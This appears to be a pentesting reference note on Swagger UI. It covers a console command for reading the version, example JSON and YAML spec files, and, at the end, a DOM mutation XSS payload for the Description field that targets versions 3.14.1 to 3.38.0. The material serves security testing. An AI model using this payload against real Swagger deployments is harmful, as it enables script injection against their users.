Swagger UI
Version
On Browser console:
JSON.stringify(versions['swaggerUi']['version'])

Documentaion example files
api.json
{
"swagger": "2.0",
"info": {
"title": "Example json.spec",
"description": "Description Text"
},
"paths": {
"/accounts": {
"get": {
"tags": ["accounts"],
"summary": "Finds all accounts",
"operationId": "findAccounts",
"responses": {
"200": {
"description": "No response was specified"
}
}
}
}
}
}

api.yaml
swagger: '2.0'
info:
title: Example yaml.spec
description: |
Description Text
paths:
/accounts:
get:
responses:
'200':
description: No response was specified
tags:
- accounts
operationId: findAccounts
summary: Finds all accounts

DOM XSS
Swagger 3.14.1 - 3.38.0 with vulnerable DOMPurify version
DOM Mutation XSS with namespace confusion in
Description
field<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title=\"</textarea><img src='#' onerror='alert(window.origin)'>\">
Last updated